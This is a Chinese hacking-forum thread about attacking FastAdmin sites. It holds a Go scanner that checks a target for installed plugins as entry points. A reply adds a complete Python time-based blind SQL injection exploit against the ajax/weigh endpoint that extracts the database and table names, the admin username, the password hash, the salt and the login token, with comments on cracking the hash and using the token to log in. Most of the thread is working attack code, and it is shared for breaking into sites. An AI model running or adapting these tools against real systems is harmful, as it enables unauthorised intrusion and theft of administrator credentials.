fastadmin插件扫描

最近搞站遇到fastadmin是真的多,由于是tp框架导致难度非常大m所以只能想法找点。插件会是一个很好突破口,最近刚好也在学go就直接源码和编译好的exe。代码就别吐槽了,很多还不适应。

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"regexp"
	"time"
)

var attack_url string

func check_plugin(plugin_name string) {
	timeout := time.Duration(5 * time.Second)
	client := http.Client{
		Timeout: timeout,
	}
	res, err := client.Get(attack_url + "/addons/" + plugin_name)
	res.Body.Close()
	if err != nil {
		os.Exit(0)
	}
	if res.StatusCode == 200 {
		fmt.Println(attack_url + "/addons/" + plugin_name)
	}

}

func Get_plugin(plugin_list string) {
	reg_name := regexp.MustCompile(`"name":"(.*?)"`)
	result1 := reg_name.FindAllStringSubmatch(plugin_list, -1)
	for _, i := range result1[:len(result1)-9] {
		check_plugin(i[1])
	}
}

func Get_plugin_list(url string) string {
	timeout := time.Duration(10 * time.Second)
	client := http.Client{
		Timeout: timeout,
	}
	res, err := client.Get(url)
	if err != nil {
		return ""
	}
	robots, err := ioutil.ReadAll(res.Body)
	res.Body.Close()
	if err != nil {
		return ""
	}
	Get_plugin(string(robots))
	return string(robots)
}

func main() {
	var url string = "https://api.fastadmin.net/addon/index?sort=id&order=desc&offset=0&limit=5000000"
	if len(os.Args) > 1 {
		attack_url = os.Args[1]
	} else {
		fmt.Println("请输入参数\narg: go run fastadmin.go http://www.baidu.com")
		os.Exit(0)
	}
	Get_plugin_list(url)
	//fmt.Println(plugins_list)

}

fastadmin.rar (2.9 MB)

2 个赞

如果用一点别人写好的request模块就更好了,哈哈 :stuck_out_tongue:

害。。刚开始学。go太多讲究

# coding=utf-8
# Version: python3.7

import requests
import time

headers = {
    "Content-Type": "application/x-www-form-urlencoded;charset=utf-8"
}
url = "http://192.168.159.2/public/lSyAWYjfmB.php/ajax/weigh"
cookie = {'PHPSESSID': '9ljokpsp1umphpgv1hqkq4h8ou'}

fuzz_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u','v', 'w', 'x', 'y', 'z', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O','P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ', '!', '"', '#', '$', '%', '&', '\'', '(', ')','*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>','?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~']

def get_database_length():
    # 获取数据库长度
    for i in range(1,20):
        postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((length(database())="+str(i)+"),sleep(3),1)#"
        start_time = time.time()
        responseRes = requests.post(url,data=postData,cookies=cookie,headers=headers)
        end_time = time.time()
        if end_time-start_time > 2 :
            database_length = str(i)
            break
        else:
            pass

    print("Database length:" + database_length )
    return database_length

def get_database_name():
    # 获取数据库的名称
    database_name = ""
    for i in range(1,int(get_database_length())+1):
        for j in fuzz_list:
            postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if(ascii(substr(database(),"+str(i)+",1)) in  ("+hex(ord(j))+"),sleep(3),1)#"
            start_time = time.time()
            responseRes = requests.post(url, data=postData, cookies=cookie, headers=headers)
            end_time = time.time()
            if end_time - start_time > 2:
                database_name = database_name + j
                print("Database name:" + database_name)
    return database_name

def get_table_length(database_name):
    # 获取表名的长度
    for i in range(1,20):
        postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((length((select table_name from information_schema.tables where table_schema="+str_to_hex(database_name)+" limit 0,1))="+str(i)+"),sleep(3),1)#"
        start_time = time.time()
        responseRes = requests.post(url,data=postData,cookies=cookie,headers=headers)
        end_time = time.time()
        if end_time-start_time > 2:
            table_length = str(i)
            break
        else:
            pass

    print("Table length:" + table_length )
    return table_length

def get_table_name(database_name,table_length):
    # 获取表名
    table_name = ""
    for i in range(1, int(table_length) + 1):
        for j in fuzz_list:
            postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((ascii(substr((select table_name from information_schema.tables where table_schema="+str_to_hex(database_name)+" limit 0,1),"+str(i)+",1)) in ("+hex(ord(j))+")),sleep(3),1)#"
            start_time = time.time()
            responseRes = requests.post(url, data=postData, cookies=cookie, headers=headers)
            end_time = time.time()
            if end_time - start_time > 2:
                table_name = table_name + j
                print("Table name:" + table_name)
    return table_name

# 确定表名后,可以根据 fastadmin 框架的信息,基本上可以确定其fa_admin 表的字段值分别是
# id,username,nickname,password,salt,avatar,email,loginfailure,logintime,loginip,createtime,updatetime,token,status
# 选择关键的三个字段 username,password,salt 可以获取管理员密码 MD5,尝试去解密
# 选择关键字段 token,可以尝试去自动登陆
def get_admin_username_length(table_name):
    #获取管理员的用户名长度
    for i in range(1,20):
        postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((length((select username from "+table_name+" limit 0,1))="+str(i)+"),sleep(3),1)#"
        start_time = time.time()
        responseRes = requests.post(url,data=postData,cookies=cookie,headers=headers)
        end_time = time.time()
        if end_time-start_time > 2:
            username_length = str(i)
            break
        else:
            pass

    print("Admin Username length:" + username_length )
    return username_length
def get_admin_username(table_name,username_length):
    #获取管理员用户名
    userename = ""
    for i in range(1, int(username_length) + 1):
        for j in fuzz_list:
            postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((ascii(substr((select username from "+table_name+" limit 1,1),"+str(i)+",1)) in ("+hex(ord(j))+")),sleep(3),1)#"
            start_time = time.time()
            responseRes = requests.post(url, data=postData, cookies=cookie, headers=headers)
            end_time = time.time()
            if end_time - start_time > 2:
                userename = userename + j
                print("Username is :" + userename)
    return userename
def get_admin_password(table_name):
    # 获取管理员密码
    password = ""
    for i in range(1, 33): #密码是 32位的 md5
        for j in fuzz_list:
            postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((ascii(substr((select password from " + table_name + " limit 0,1),"+str(i)+",1)) in (" + hex(ord(j)) + ")),sleep(3),1)#"
            start_time = time.time()
            responseRes = requests.post(url, data=postData, cookies=cookie, headers=headers)
            end_time = time.time()
            if end_time - start_time > 2:
                password = password + j
                print("Password is :" + password)
    return password
def get_admin_salt(table_name):
    #获取加盐值
    salt = ""
    for i in range(1, 7): #salt 为6位
        for j in fuzz_list:
            postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((ascii(substr((select salt from " + table_name + " limit 0,1),"+str(i)+",1)) in (" + hex(ord(j)) + ")),sleep(3),1)#"
            start_time = time.time()
            responseRes = requests.post(url, data=postData, cookies=cookie, headers=headers)
            end_time = time.time()
            if end_time - start_time > 2:
                salt = salt + j
                print("Salt is :" + salt)
    return salt
def get_admin_token(table_name):
    #获取加盐值
    token = ""
    for i in range(1, 37): # token 为36位
        for j in fuzz_list:
            postData = "changeid=1&field=weigh&ids=2,4,1,3,5,6,8,9,7,10,11,12,13&orderway=desc&pid=1&pk=type&table=category+where+id=1+and+if((ascii(substr((select token from " + table_name + " limit 0,1),"+str(i)+",1)) in (" + hex(ord(j)) + ")),sleep(3),1)#"
            start_time = time.time()
            responseRes = requests.post(url, data=postData, cookies=cookie, headers=headers)
            end_time = time.time()
            if end_time - start_time > 2:
                token = token + j
                print("Token is :" + token)
    return token
def str_to_hex(s):
    # 将字符转换为十六进制
    return "0x"+''.join([hex(ord(c)).replace('0x', '') for c in s])


if __name__ == "__main__":
    database_name = get_database_name()
    table_length = get_table_length(database_name)
    table_name = get_table_name(database_name,table_length)
    username_length = get_admin_username_length(table_name)
    get_admin_username(table_name,username_length)
    get_admin_password(table_name)
    get_admin_salt(table_name)
    get_admin_token(table_name)

那我也附上一个 之前后台注入的 exp

2 个赞

找到插件后找注入吗